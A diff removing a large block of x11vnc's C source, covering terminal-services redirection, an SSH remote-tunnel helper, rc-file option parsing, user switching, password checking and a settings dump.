- if (db) fprintf(stderr, "Xerror: %d/%d\n", trapped_xerror, trapped_xioerror);
- exit(0);
- }
- XSetErrorHandler(old_handler1);
- XSetIOErrorHandler(old_handler2);
- }
-#endif
-}
-
-char *ts_services[][2] = {
- {"FD_CUPS", "TS_CUPS_REDIR"},
- {"FD_SMB", "TS_SMB_REDIR"},
- {"FD_ESD", "TS_ESD_REDIR"},
- {"FD_NAS", "TS_NAS_REDIR"},
- {NULL, NULL}
-};
-
-void do_tsd(void) {
-#if !NO_X11
- Atom a;
- char prop[513];
- pid_t pid;
- char *cmd;
- int n, sz = 0;
- char *disp = DisplayString(dpy);
- char *logfile = getenv("TS_REDIR_LOGFILE");
- int db = 0;
-
- if (getenv("TS_REDIR_DEBUG")) {
- db = 1;
- }
- if (db) fprintf(stderr, "do_tsd() in.\n");
-
- prop[0] = '\0';
- a = XInternAtom(dpy, "TS_REDIR_LIST", False);
- if (a != None) {
- get_prop(prop, 512, a, None);
- }
- if (db) fprintf(stderr, "TS_REDIR_LIST Atom: %d = '%s'\n", (int) a, prop);
-
- if (prop[0] == '\0') {
- return;
- }
-
- if (! program_name) {
- program_name = "x11vnc";
- }
- sz += strlen(program_name) + 1;
- sz += strlen("-display") + 1;
- sz += strlen(disp) + 1;
- sz += strlen("-tsd") + 1;
- sz += 1 + strlen(prop) + 1 + 1;
- sz += strlen("-env TSD_RESTART=1") + 1;
- sz += strlen("</dev/null 1>/dev/null 2>&1") + 1;
- sz += strlen(" &") + 1;
- if (logfile) {
- sz += strlen(logfile);
- }
- if (ipv6_listen) {
- sz += strlen("-6") + 1;
- }
-
- cmd = (char *) malloc(sz);
-
- if (getenv("XAUTHORITY")) {
- char *xauth = getenv("XAUTHORITY");
- if (!strcmp(xauth, "") || access(xauth, R_OK) != 0) {
- *(xauth-2) = '_'; /* yow */
- }
- }
- sprintf(cmd, "%s -display %s -tsd '%s' -env TSD_RESTART=1 %s </dev/null 1>%s 2>&1 &",
- program_name, disp, prop, ipv6_listen ? "-6" : "",
- logfile ? logfile : "/dev/null" );
- rfbLog("running: %s\n", cmd);
-
-#if LIBVNCSERVER_HAVE_FORK && LIBVNCSERVER_HAVE_SETSID
- /* fork into the background now */
- if ((pid = fork()) > 0) {
- pid_t pidw;
- int status;
- double s = dnow();
-
- while (dnow() < s + 1.5) {
- pidw = waitpid(pid, &status, WNOHANG);
- if (pidw == pid) {
- break;
- }
- usleep(100*1000);
- }
- return;
-
- } else if (pid == -1) {
- system(cmd);
- } else {
- setsid();
- /* adjust our stdio */
- n = open("/dev/null", O_RDONLY);
- dup2(n, 0);
- dup2(n, 1);
- dup2(n, 2);
- if (n > 2) {
- close(n);
- }
- system(cmd);
- exit(0);
- }
-#else
- system(cmd);
-#endif
-
-#endif
-}
-
-void set_redir_properties(void) {
-#if !NO_X11
- char *e, *f, *t;
- Atom a;
- char num[32];
- int i, p;
-
- if (! dpy) {
- return;
- }
-
- i = 0;
- while (ts_services[i][0] != NULL) {
- f = ts_services[i][0];
- t = ts_services[i][1];
- e = getenv(f);
- if (!e || strstr(e, "DAEMON-") != e) {
- i++;
- continue;
- }
- p = atoi(e + strlen("DAEMON-"));
- if (p <= 0) {
- i++;
- continue;
- }
- sprintf(num, "%d", p);
- a = XInternAtom(dpy, t, False);
- if (a != None) {
- Window rwin = RootWindow(dpy, DefaultScreen(dpy));
-fprintf(stderr, "Set: %s %s %s -> %s\n", f, t, e, num);
- XChangeProperty(dpy, rwin, a, XA_STRING, 8,
- PropModeReplace, (unsigned char *) num, strlen(num));
- XSync(dpy, False);
- }
- i++;
- }
-#endif
-}
-
-static void check_redir_services(void) {
-#if !NO_X11
- Atom a;
- char prop[513];
- time_t tsd_last;
- int restart = 0;
- pid_t pid = 0;
- int db = 0;
- db = 0;
-
- if (getenv("TS_REDIR_DEBUG")) {
- db = 1;
- }
- if (db) fprintf(stderr, "check_redir_services in.\n");
-
- if (! dpy) {
- return;
- }
-
- a = XInternAtom(dpy, "TS_REDIR_PID", False);
- if (a != None) {
- prop[0] = '\0';
- get_prop(prop, 512, a, None);
- if (prop[0] != '\0') {
- pid = (pid_t) atoi(prop);
- }
- }
- if (db) fprintf(stderr, "TS_REDIR_PID Atom: %d = '%s'\n", (int) a, prop);
-
- if (getenv("FD_TAG") && strcmp(getenv("FD_TAG"), "")) {
- a = XInternAtom(dpy, "FD_TAG", False);
- if (a != None) {
- Window rwin = RootWindow(dpy, DefaultScreen(dpy));
- char *tag = getenv("FD_TAG");
- XChangeProperty(dpy, rwin, a, XA_STRING, 8,
- PropModeReplace, (unsigned char *)tag, strlen(tag));
- XSync(dpy, False);
- }
- if (db) fprintf(stderr, "FD_TAG Atom: %d = '%s'\n", (int) a, prop);
- }
-
- prop[0] = '\0';
- a = XInternAtom(dpy, "TS_REDIR", False);
- if (a != None) {
- get_prop(prop, 512, a, None);
- }
- if (db) fprintf(stderr, "TS_REDIR Atom: %d = '%s'\n", (int) a, prop);
- if (prop[0] == '\0') {
- rfbLog("TS_REDIR is empty, restarting...\n");
- restart = 1;
- } else {
- tsd_last = (time_t) atoi(prop);
- if (time(NULL) > tsd_last + 30) {
- rfbLog("TS_REDIR seems dead for: %d sec, restarting...\n",
- time(NULL) - tsd_last);
- restart = 1;
- } else if (pid > 0 && time(NULL) > tsd_last + 6) {
- if (kill(pid, 0) != 0) {
- rfbLog("TS_REDIR seems dead via kill(%d, 0), restarting...\n",
- pid);
- restart = 1;
- }
- }
- }
- if (restart) {
-
- if (pid > 1) {
- rfbLog("killing TS_REDIR_PID: %d\n", pid);
- kill(pid, SIGTERM);
- usleep(500*1000);
- kill(pid, SIGKILL);
- }
- do_tsd();
- if (db) fprintf(stderr, "check_redir_services restarted.\n");
- return;
- }
-
- if (db) fprintf(stderr, "check_redir_services, no restart, calling set_redir_properties.\n");
- set_redir_properties();
-#endif
-}
-
-void ssh_remote_tunnel(char *instr, int lport) {
- char *q, *cmd, *ssh;
- char *s = strdup(instr);
- int sleep = 300, disp = 0, sport = 0;
- int rc, len, rport;
-
- /* user@host:port:disp+secs */
-
- /* +sleep */
- q = strrchr(s, '+');
- if (q) {
- sleep = atoi(q+1);
- if (sleep <= 0) {
- sleep = 1;
- }
- *q = '\0';
- }
- /* :disp */
- q = strrchr(s, ':');
- if (q) {
- disp = atoi(q+1);
- *q = '\0';
- }
-
- /* :sshport */
- q = strrchr(s, ':');
- if (q) {
- sport = atoi(q+1);
- *q = '\0';
- }
-
- if (getenv("SSH")) {
- ssh = getenv("SSH");
- } else {
- ssh = "ssh";
- }
-
- len = 0;
- len += strlen(ssh) + strlen(s) + 500;
- cmd = (char *) malloc(len);
-
- if (disp >= 0 && disp <= 200) {
- rport = disp + 5900;
- } else if (disp < 0) {
- rport = -disp;
- } else {
- rport = disp;
- }
-
- if (sport > 0) {
- sprintf(cmd, "%s -f -p %d -R '%d:localhost:%d' '%s' 'sleep %d'", ssh, sport, rport, lport, s, sleep);
- } else {
- sprintf(cmd, "%s -f -R '%d:localhost:%d' '%s' 'sleep %d'", ssh, rport, lport, s, sleep);
- }
-
- if (no_external_cmds || !cmd_ok("ssh")) {
- rfbLogEnable(1);
- rfbLog("cannot run external commands in -nocmds mode:\n");
- rfbLog(" \"%s\"\n", cmd);
- rfbLog(" exiting.\n");
- clean_up_exit(1);
- }
-
- close_exec_fds();
- fprintf(stderr, "\n");
- rfbLog("running: %s\n", cmd);
- rc = system(cmd);
-
- if (rc != 0) {
- free(cmd);
- free(s);
- rfbLog("ssh remote listen failed.\n");
- clean_up_exit(1);
- }
-
- if (1) {
- FILE *pipe;
- int mypid = (int) getpid();
- int bestpid = -1;
- int best = -1;
- char line[1024];
- char *psef = "ps -ef";
- char *psww = "ps wwwwwwaux";
- char *ps = psef;
- /* not portable... but it is really good to terminate the ssh when done. */
- /* ps -ef | egrep 'ssh2.*-R.*5907:localhost:5900.*runge@celias.lbl.gov.*sleep 300' | grep -v grep | awk '{print $2}' */
- if (strstr(UT.sysname, "Linux")) {
- ps = psww;
- } else if (strstr(UT.sysname, "BSD")) {
- ps = psww;
- } else if (strstr(UT.sysname, "Darwin")) {
- ps = psww;
- }
- sprintf(cmd, "env COLUMNS=256 %s | egrep '%s.*-R *%d:localhost:%d.*%s.*sleep *%d' | grep -v grep | awk '{print $2}'", ps, ssh, rport, lport, s, sleep);
- pipe = popen(cmd, "r");
- if (pipe) {
- while (fgets(line, 1024, pipe) != NULL) {
- int p = atoi(line);
- if (p > 0) {
- int score;
- if (p > mypid) {
- score = p - mypid;
- } else {
- score = p - mypid + 32768;
- if (score < 0) {
- score = 32768;
- }
- }
- if (best < 0 || score < best) {
- best = score;
- bestpid = p;
- }
- }
- }
- pclose(pipe);
- }
-
- if (bestpid != -1) {
- ssh_pid = (pid_t) bestpid;
- rfbLog("guessed ssh pid=%d, will terminate it on exit.\n", bestpid);
- }
- }
-
- free(cmd);
- free(s);
-}
-
-/*
- * check blacklist for OSs with tight shm limits.
- */
-static int limit_shm(void) {
- int limit = 0;
-
- if (UT.sysname == NULL) {
- return 0;
- }
- if (getenv("X11VNC_NO_LIMIT_SHM")) {
- return 0;
- }
- if (!strcmp(UT.sysname, "SunOS")) {
- char *r = UT.release;
- if (*r == '5' && *(r+1) == '.') {
- if (strchr("2345678", *(r+2)) != NULL) {
- limit = 1;
- }
- }
- } else if (!strcmp(UT.sysname, "Darwin")) {
- limit = 1;
- }
- if (limit && ! quiet) {
- fprintf(stderr, "reducing shm usage on %s %s (adding "
- "-onetile)\n", UT.sysname, UT.release);
- }
- return limit;
-}
-
-
-/*
- * quick-n-dirty ~/.x11vncrc: each line (except # comments) is a cmdline option.
- */
-static int argc2 = 0;
-static char **argv2;
-
-static void check_rcfile(int argc, char **argv) {
- int i, j, pwlast, enclast, norc = 0, argmax = 1024;
- char *infile = NULL;
- char rcfile[1024];
- FILE *rc = NULL;
-
- for (i=1; i < argc; i++) {
- if (!strcmp(argv[i], "-printgui")) {
- fprintf(stdout, "%s", get_gui_code());
- fflush(stdout);
- exit(0);
- }
- if (!strcmp(argv[i], "-norc")) {
- norc = 1;
- got_norc = 1;
- }
- if (!strcmp(argv[i], "-QD")) {
- norc = 1;
- }
- if (!strcmp(argv[i], "-rc")) {
- if (i+1 >= argc) {
- fprintf(stderr, "-rc option requires a "
- "filename\n");
- exit(1);
- } else {
- infile = argv[i+1];
- }
- }
- }
- rc_norc = norc;
- rc_rcfile = strdup("");
- if (norc) {
- ;
- } else if (infile != NULL) {
- rc = fopen(infile, "r");
- rc_rcfile = strdup(infile);
- if (rc == NULL) {
- fprintf(stderr, "could not open rcfile: %s\n", infile);
- perror("fopen");
- exit(1);
- }
- } else {
- char *home = get_home_dir();
- if (! home) {
- norc = 1;
- } else {
- memset(rcfile, 0, sizeof(rcfile));
- strncpy(rcfile, home, 500);
- free(home);
-
- strcat(rcfile, "/.x11vncrc");
- infile = rcfile;
- rc = fopen(rcfile, "r");
- if (rc == NULL) {
- norc = 1;
- } else {
- rc_rcfile = strdup(rcfile);
- rc_rcfile_default = 1;
- }
- }
- }
-
- argv2 = (char **) malloc(argmax * sizeof(char *));
- argv2[argc2++] = strdup(argv[0]);
-
- if (! norc) {
- char line[4096], parm[400], tmp[401];
- char *buf, *tbuf;
- struct stat sbuf;
- int sz;
-
- if (fstat(fileno(rc), &sbuf) != 0) {
- fprintf(stderr, "problem with %s\n", infile);
- perror("fstat");
- exit(1);
- }
- sz = sbuf.st_size+1; /* allocate whole file size */
- if (sz < 1024) {
- sz = 1024;
- }
-
- buf = (char *) malloc(sz);
- buf[0] = '\0';
-
- while (fgets(line, 4096, rc) != NULL) {
- char *q, *p = line;
- char c;
- int cont = 0;
-
- q = p;
- c = '\0';
- while (*q) {
- if (*q == '#') {
- if (c != '\\') {
- *q = '\0';
- break;
- }
- }
- c = *q;
- q++;
- }
-
- q = p;
- c = '\0';
- while (*q) {
- if (*q == '\n') {
- if (c == '\\') {
- cont = 1;
- *q = '\0';
- *(q-1) = ' ';
- break;
- }
- while (isspace((unsigned char) (*q))) {
- *q = '\0';
- if (q == p) {
- break;
- }
- q--;
- }
- break;
- }
- c = *q;
- q++;
- }
- if (q != p && !cont) {
- if (*q == '\0') {
- q--;
- }
- while (isspace((unsigned char) (*q))) {
- *q = '\0';
- if (q == p) {
- break;
- }
- q--;
- }
- }
-
- p = lblanks(p);
-
- strncat(buf, p, sz - strlen(buf) - 1);
- if (cont) {
- continue;
- }
- if (buf[0] == '\0') {
- continue;
- }
-
- i = 0;
- q = buf;
- while (*q) {
- i++;
- if (*q == '\n' || isspace((unsigned char) (*q))) {
- break;
- }
- q++;
- }
-
- if (i >= 400) {
- fprintf(stderr, "invalid rcfile line: %s/%s\n",
- p, buf);
- exit(1);
- }
-
- if (sscanf(buf, "%s", parm) != 1) {
- fprintf(stderr, "invalid rcfile line: %s\n", p);
- exit(1);
- }
- if (parm[0] == '-') {
- strncpy(tmp, parm, 400);
- } else {
- tmp[0] = '-';
- strncpy(tmp+1, parm, 400);
- }
-
- if (strstr(tmp, "-loop") == tmp) {
- if (! getenv("X11VNC_LOOP_MODE")) {
- check_loop_mode(argc, argv, 1);
- exit(0);
- }
- }
-
- argv2[argc2++] = strdup(tmp);
- if (argc2 >= argmax) {
- fprintf(stderr, "too many rcfile options\n");
- exit(1);
- }
-
- p = buf;
- p += strlen(parm);
- p = lblanks(p);
-
- if (*p == '\0') {
- buf[0] = '\0';
- continue;
- }
-
- tbuf = (char *) calloc(strlen(p) + 1, 1);
-
- j = 0;
- while (*p) {
- if (*p == '\\' && *(p+1) == '#') {
- ;
- } else {
- tbuf[j++] = *p;
- }
- p++;
- }
-
- argv2[argc2++] = strdup(tbuf);
- free(tbuf);
- if (argc2 >= argmax) {
- fprintf(stderr, "too many rcfile options\n");
- exit(1);
- }
- buf[0] = '\0';
- }
- fclose(rc);
- free(buf);
- }
- pwlast = 0;
- enclast = 0;
- for (i=1; i < argc; i++) {
- argv2[argc2++] = strdup(argv[i]);
-
- if (pwlast || !strcmp("-passwd", argv[i])
- || !strcmp("-viewpasswd", argv[i])) {
- char *p = argv[i];
- if (pwlast) {
- pwlast = 0;
- } else {
- pwlast = 1;
- }
- strzero(p);
- }
- if (enclast || !strcmp("-enc", argv[i])) {
- char *q, *p = argv[i];
- if (enclast) {
- enclast = 0;
- } else {
- enclast = 1;
- }
- q = strstr(p, "pw=");
- if (q) {
- strzero(q);
- }
- }
- if (argc2 >= argmax) {
- fprintf(stderr, "too many rcfile options\n");
- exit(1);
- }
- }
-}
-
-static void immediate_switch_user(int argc, char* argv[]) {
- int i, bequiet = 0;
- for (i=1; i < argc; i++) {
- if (strcmp(argv[i], "-inetd")) {
- bequiet = 1;
- }
- if (strcmp(argv[i], "-quiet")) {
- bequiet = 1;
- }
- if (strcmp(argv[i], "-q")) {
- bequiet = 1;
- }
- }
- for (i=1; i < argc; i++) {
- char *u, *q;
-
- if (strcmp(argv[i], "-users")) {
- continue;
- }
- if (i == argc - 1) {
- fprintf(stderr, "not enough arguments for: -users\n");
- exit(1);
- }
- if (*(argv[i+1]) != '=') {
- break;
- }
-
- /* wants an immediate switch: =bob */
- u = strdup(argv[i+1]);
- *u = '+';
- q = strchr(u, '.');
- if (q) {
- user2group = (char **) malloc(2*sizeof(char *));
- user2group[0] = strdup(u+1);
- user2group[1] = NULL;
- *q = '\0';
- }
- if (strstr(u, "+guess") == u) {
- fprintf(stderr, "invalid user: %s\n", u+1);
- exit(1);
- }
- if (!switch_user(u, 0)) {
- fprintf(stderr, "Could not switch to user: %s\n", u+1);
- exit(1);
- } else {
- if (!bequiet) {
- fprintf(stderr, "Switched to user: %s\n", u+1);
- }
- started_as_root = 2;
- }
- free(u);
- break;
- }
-}
-
-static void quick_pw(char *str) {
- char *p, *q;
- char tmp[1024];
- int db = 0;
-
- if (db) fprintf(stderr, "quick_pw: %s\n", str);
-
- if (! str || str[0] == '\0') {
- exit(2);
- }
- if (str[0] != '%') {
- exit(2);
- }
- /*
- * "%-" or "%stdin" means read one line from stdin.
- *
- * "%env" means it is in $UNIXPW env var.
- *
- * starting "%/" or "%." means read the first line from that file.
- *
- * "%%" or "%" means prompt user.
- *
- * otherwise: %user:pass
- */
- if (!strcmp(str, "%-") || !strcmp(str, "%stdin")) {
- if(fgets(tmp, 1024, stdin) == NULL) {
- exit(2);
- }
- q = strdup(tmp);
- } else if (!strcmp(str, "%env")) {
- if (getenv("UNIXPW") == NULL) {
- exit(2);
- }
- q = strdup(getenv("UNIXPW"));
- } else if (!strcmp(str, "%%") || !strcmp(str, "%")) {
- char *t, inp[1024];
- fprintf(stdout, "username: ");
- if(fgets(tmp, 128, stdin) == NULL) {
- exit(2);
- }
- strcpy(inp, tmp);
- t = strchr(inp, '\n');
- if (t) {
- *t = ':';
- } else {
- strcat(inp, ":");
-
- }
- fprintf(stdout, "password: ");
- /* test mode: no_external_cmds does not apply */
- system("stty -echo");
- if(fgets(tmp, 128, stdin) == NULL) {
- fprintf(stdout, "\n");
- system("stty echo");
- exit(2);
- }
- system("stty echo");
- fprintf(stdout, "\n");
- strcat(inp, tmp);
- q = strdup(inp);
- } else if (str[1] == '/' || str[1] == '.') {
- FILE *in = fopen(str+1, "r");
- if (in == NULL) {
- exit(2);
- }
- if(fgets(tmp, 1024, in) == NULL) {
- exit(2);
- }
- fclose(in);
- q = strdup(tmp);
- } else {
- q = strdup(str+1);
- }
- p = (char *) malloc(strlen(q) + 10);
- strcpy(p, q);
- if (strchr(p, '\n') == NULL) {
- strcat(p, "\n");
- }
-
- if ((q = strchr(p, ':')) == NULL) {
- exit(2);
- }
- *q = '\0';
- if (db) fprintf(stderr, "'%s' '%s'\n", p, q+1);
- if (unixpw_cmd) {
- if (cmd_verify(p, q+1)) {
- fprintf(stdout, "Y %s\n", p);
- exit(0);
- } else {
- fprintf(stdout, "N %s\n", p);
- exit(1);
- }
- } else if (unixpw_nis) {
- if (crypt_verify(p, q+1)) {
- fprintf(stdout, "Y %s\n", p);
- exit(0);
- } else {
- fprintf(stdout, "N %s\n", p);
- exit(1);
- }
- } else {
- char *ucmd = getenv("UNIXPW_CMD");
- if (su_verify(p, q+1, ucmd, NULL, NULL, 1)) {
- fprintf(stdout, "Y %s\n", p);
- exit(0);
- } else {
- fprintf(stdout, "N %s\n", p);
- exit(1);
- }
- }
- /* NOTREACHED */
- exit(2);
-}
-
-static void print_settings(int try_http, int bg, char *gui_str) {
-
- fprintf(stderr, "\n");
- fprintf(stderr, "Settings:\n");
- fprintf(stderr, " display: %s\n", use_dpy ? use_dpy
- : "null");
-#if SMALL_FOOTPRINT < 2
- fprintf(stderr, " authfile: %s\n", auth_file ? auth_file
- : "null");
- fprintf(stderr, " subwin: 0x%lx\n", subwin);
- fprintf(stderr, " -sid mode: %d\n", rootshift);
- fprintf(stderr, " clip: %s\n", clip_str ? clip_str
- : "null");
- fprintf(stderr, " flashcmap: %d\n", flash_cmap);
- fprintf(stderr, " shiftcmap: %d\n", shift_cmap);
- fprintf(stderr, " force_idx: %d\n", force_indexed_color);
- fprintf(stderr, " cmap8to24: %d\n", cmap8to24);
- fprintf(stderr, " 8to24_opts: %s\n", cmap8to24_str ? cmap8to24_str
- : "null");
- fprintf(stderr, " 24to32: %d\n", xform24to32);
- fprintf(stderr, " visual: %s\n", visual_str ? visual_str
- : "null");
- fprintf(stderr, " overlay: %d\n", overlay);
- fprintf(stderr, " ovl_cursor: %d\n", overlay_cursor);
- fprintf(stderr, " scaling: %d %.4f %.4f\n", scaling, scale_fac_x, scale_fac_y);
- fprintf(stderr, " viewonly: %d\n", view_only);
- fprintf(stderr, " shared: %d\n", shared);
- fprintf(stderr, " conn_once: %d\n", connect_once);
- fprintf(stderr, " timeout: %d\n", first_conn_timeout);
- fprintf(stderr, " ping: %d\n", ping_interval);
- fprintf(stderr, " inetd: %d\n", inetd);
- fprintf(stderr, " tightfilexfer: %d\n", tightfilexfer);
- fprintf(stderr, " http: %d\n", try_http);
- fprintf(stderr, " connect: %s\n", client_connect
- ? client_connect : "null");
- fprintf(stderr, " connectfile %s\n", client_connect_file
- ? client_connect_file : "null");
- fprintf(stderr, " vnc_conn: %d\n", vnc_connect);
- fprintf(stderr, " allow: %s\n", allow_list ? allow_list
- : "null");
- fprintf(stderr, " input: %s\n", allowed_input_str
- ? allowed_input_str : "null");
- fprintf(stderr, " passfile: %s\n", passwdfile ? passwdfile
- : "null");
- fprintf(stderr, " unixpw: %d\n", unixpw);
- fprintf(stderr, " unixpw_lst: %s\n", unixpw_list ? unixpw_list:"null");
- fprintf(stderr, " ssl: %s\n", openssl_pem ? openssl_pem:"null");
- fprintf(stderr, " ssldir: %s\n", ssl_certs_dir ? ssl_certs_dir:"null");
- fprintf(stderr, " ssltimeout %d\n", ssl_timeout_secs);
- fprintf(stderr, " sslverify: %s\n", ssl_verify ? ssl_verify:"null");
- fprintf(stderr, " stunnel: %d\n", use_stunnel);
- fprintf(stderr, " accept: %s\n", accept_cmd ? accept_cmd
- : "null");
- fprintf(stderr, " accept: %s\n", afteraccept_cmd ? afteraccept_cmd
- : "null");
- fprintf(stderr, " gone: %s\n", gone_cmd ? gone_cmd
- : "null");
- fprintf(stderr, " users: %s\n", users_list ? users_list
- : "null");
- fprintf(stderr, " using_shm: %d\n", using_shm);
- fprintf(stderr, " flipbytes: %d\n", flip_byte_order);
- fprintf(stderr, " onetile: %d\n", single_copytile);
- fprintf(stderr, " solid: %s\n", solid_str
- ? solid_str : "null");
- fprintf(stderr, " blackout: %s\n", blackout_str
- ? blackout_str : "null");
- fprintf(stderr, " xinerama: %d\n", xinerama);
- fprintf(stderr, " xtrap: %d\n", xtrap_input);
- fprintf(stderr, " xrandr: %d\n", xrandr);
- fprintf(stderr, " xrandrmode: %s\n", xrandr_mode ? xrandr_mode
- : "null");
- fprintf(stderr, " padgeom: %s\n", pad_geometry
- ? pad_geometry : "null");
- fprintf(stderr, " logfile: %s\n", logfile ? logfile
- : "null");
- fprintf(stderr, " logappend: %d\n", logfile_append);
- fprintf(stderr, " flag: %s\n", flagfile ? flagfile
- : "null");
- fprintf(stderr, " rm_flag: %s\n", rm_flagfile ? rm_flagfile
- : "null");
- fprintf(stderr, " rc_file: \"%s\"\n", rc_rcfile ? rc_rcfile
- : "null");
- fprintf(stderr, " norc: %d\n", rc_norc);
- fprintf(stderr, " dbg: %d\n", crash_debug);
- fprintf(stderr, " bg: %d\n", bg);
- fprintf(stderr, " mod_tweak: %d\n", use_modifier_tweak);
- fprintf(stderr, " isolevel3: %d\n", use_iso_level3);
- fprintf(stderr, " xkb: %d\n", use_xkb_modtweak);
- fprintf(stderr, " skipkeys: %s\n",
- skip_keycodes ? skip_keycodes : "null");
- fprintf(stderr, " sloppykeys: %d\n", sloppy_keys);
- fprintf(stderr, " skip_dups: %d\n", skip_duplicate_key_events);
- fprintf(stderr, " addkeysyms: %d\n", add_keysyms);
- fprintf(stderr, " xkbcompat: %d\n", xkbcompat);
- fprintf(stderr, " clearmods: %d\n", clear_mods);
- fprintf(stderr, " remap: %s\n", remap_file ? remap_file
- : "null");
- fprintf(stderr, " norepeat: %d\n", no_autorepeat);
- fprintf(stderr, " norepeatcnt:%d\n", no_repeat_countdown);
- fprintf(stderr, " nofb: %d\n", nofb);
- fprintf(stderr, " watchbell: %d\n", watch_bell);
- fprintf(stderr, " watchsel: %d\n", watch_selection);
- fprintf(stderr, " watchprim: %d\n", watch_primary);
- fprintf(stderr, " seldir: %s\n", sel_direction ?
- sel_direction : "null");
- fprintf(stderr, " cursor: %d\n", show_cursor);
- fprintf(stderr, " multicurs: %d\n", show_multiple_cursors);
- fprintf(stderr, " curs_mode: %s\n", multiple_cursors_mode
- ? multiple_cursors_mode : "null");
- fprintf(stderr, " arrow: %d\n", alt_arrow);
- fprintf(stderr, " xfixes: %d\n", use_xfixes);
- fprintf(stderr, " alphacut: %d\n", alpha_threshold);
- fprintf(stderr, " alphafrac: %.2f\n", alpha_frac);
- fprintf(stderr, " alpharemove:%d\n", alpha_remove);
- fprintf(stderr, " alphablend: %d\n", alpha_blend);
- fprintf(stderr, " cursorshape:%d\n", cursor_shape_updates);
- fprintf(stderr, " cursorpos: %d\n", cursor_pos_updates);
- fprintf(stderr, " xwarpptr: %d\n", use_xwarppointer);
- fprintf(stderr, " alwaysinj: %d\n", always_inject);
- fprintf(stderr, " buttonmap: %s\n", pointer_remap
- ? pointer_remap : "null");
- fprintf(stderr, " dragging: %d\n", show_dragging);
- fprintf(stderr, " ncache: %d\n", ncache);
- fprintf(stderr, " wireframe: %s\n", wireframe_str ?
- wireframe_str : WIREFRAME_PARMS);
- fprintf(stderr, " wirecopy: %s\n", wireframe_copyrect ?
- wireframe_copyrect : wireframe_copyrect_default);
- fprintf(stderr, " scrollcopy: %s\n", scroll_copyrect ?
- scroll_copyrect : scroll_copyrect_default);
- fprintf(stderr, " scr_area: %d\n", scrollcopyrect_min_area);
- fprintf(stderr, " scr_skip: %s\n", scroll_skip_str ?
- scroll_skip_str : scroll_skip_str0);
- fprintf(stderr, " scr_inc: %s\n", scroll_good_str ?
- scroll_good_str : scroll_good_str0);
- fprintf(stderr, " scr_keys: %s\n", scroll_key_list_str ?
- scroll_key_list_str : "null");
- fprintf(stderr, " scr_term: %s\n", scroll_term_str ?
- scroll_term_str : "null");
- fprintf(stderr, " scr_keyrep: %s\n", max_keyrepeat_str ?
- max_keyrepeat_str : "null");
- fprintf(stderr, " scr_parms: %s\n", scroll_copyrect_str ?
- scroll_copyrect_str : SCROLL_COPYRECT_PARMS);
- fprintf(stderr, " fixscreen: %s\n", screen_fixup_str ?
- screen_fixup_str : "null");
- fprintf(stderr, " noxrecord: %d\n", noxrecord);
- fprintf(stderr, " grabbuster: %d\n", grab_buster);
- fprintf(stderr, " ptr_mode: %d\n", pointer_mode);
- fprintf(stderr, " inputskip: %d\n", ui_skip);
- fprintf(stderr, " speeds: %s\n", speeds_str
- ? speeds_str : "null");
- fprintf(stderr, " wmdt: %s\n", wmdt_str
- ? wmdt_str : "null");
- fprintf(stderr, " debug_ptr: %d\n", debug_pointer);
- fprintf(stderr, " debug_key: %d\n", debug_keyboard);
- fprintf(stderr, " defer: %d\n", defer_update);
- fprintf(stderr, " waitms: %d\n", waitms);
- fprintf(stderr, " wait_ui: %.2f\n", wait_ui);
- fprintf(stderr, " nowait_bog: %d\n", !wait_bog);
- fprintf(stderr, " slow_fb: %.2f\n", slow_fb);
- fprintf(stderr, " xrefresh: %.2f\n", xrefresh);
- fprintf(stderr, " readtimeout: %d\n", rfbMaxClientWait/1000);
- fprintf(stderr, " take_naps: %d\n", take_naps);
- fprintf(stderr, " sb: %d\n", screen_blank);
- fprintf(stderr, " fbpm: %d\n", !watch_fbpm);
- fprintf(stderr, " dpms: %d\n", !watch_dpms);
- fprintf(stderr, " xdamage: %d\n", use_xdamage);
- fprintf(stderr, " xd_area: %d\n", xdamage_max_area);
- fprintf(stderr, " xd_mem: %.3f\n", xdamage_memory);
- fprintf(stderr, " sigpipe: %s\n", sigpipe
- ? sigpipe : "null");
- fprintf(stderr, " threads: %d\n", use_threads);
- fprintf(stderr, " fs_frac: %.2f\n", fs_frac);
- fprintf(stderr, " gaps_fill: %d\n", gaps_fill);
- fprintf(stderr, " grow_fill: %d\n", grow_fill);
- fprintf(stderr, " tile_fuzz: %d\n", tile_fuzz);
- fprintf(stderr, " snapfb: %d\n", use_snapfb);
- fprintf(stderr, " rawfb: %s\n", raw_fb_str
- ? raw_fb_str : "null");
- fprintf(stderr, " pipeinput: %s\n", pipeinput_str
- ? pipeinput_str : "null");
- fprintf(stderr, " gui: %d\n", launch_gui);
- fprintf(stderr, " gui_mode: %s\n", gui_str
- ? gui_str : "null");
- fprintf(stderr, " noremote: %d\n", !accept_remote_cmds);
- fprintf(stderr, " unsafe: %d\n", !safe_remote_only);
- fprintf(stderr, " privremote: %d\n", priv_remote);
- fprintf(stderr, " safer: %d\n", more_safe);
- fprintf(stderr, " nocmds: %d\n", no_external_cmds);
- fprintf(stderr, " deny_all: %d\n", deny_all);
- fprintf(stderr, " pid: %d\n", getpid());
- fprintf(stderr, "\n");
-#endif
-}
-
-
-static void check_loop_mode(int argc, char* argv[], int force) {
- int i;
- int loop_mode = 0, loop_sleep = 2000, loop_max = 0;
-
- if (force) {
- loop_mode = 1;
- }
- for (i=1; i < argc; i++) {
- char *p = argv[i];
- if (strstr(p, "--") == p) {
- p++;
- }
- if (strstr(p, "-loop") == p) {
- char *q;
- loop_mode = 1;
- if ((q = strchr(p, ',')) != NULL) {
- loop_max = atoi(q+1);
- *q = '\0';
- }
- if (strstr(p, "-loopbg") == p) {
- set_env("X11VNC_LOOP_MODE_BG", "1");
- loop_sleep = 500;
- }
-
- q = strpbrk(p, "0123456789");
- if (q) {
- loop_sleep = atoi(q);
- if (loop_sleep <= 0) {
- loop_sleep = 20;
- }
- }
- }
- }
- if (loop_mode && getenv("X11VNC_LOOP_MODE") == NULL) {
-#if LIBVNCSERVER_HAVE_FORK
- char **argv2;
- int k, i = 1;
-
- set_env("X11VNC_LOOP_MODE", "1");
- argv2 = (char **) malloc((argc+1)*sizeof(char *));
-
- for (k=0; k < argc+1; k++) {
- argv2[k] = NULL;
- if (k < argc) {
- argv2[k] = argv[k];
- }
- }
- while (1) {
- int status;
- pid_t p;
- fprintf(stderr, "\n --- x11vnc loop: %d ---\n\n", i++);
- fflush(stderr);
- usleep(500 * 1000);
- if ((p = fork()) > 0) {
- fprintf(stderr, " --- x11vnc loop: waiting "
- "for: %d\n\n", p);
- wait(&status);
- } else if (p == -1) {
- fprintf(stderr, "could not fork\n");
- perror("fork");
- exit(1);
- } else {
- /* loop mode: no_external_cmds does not apply */
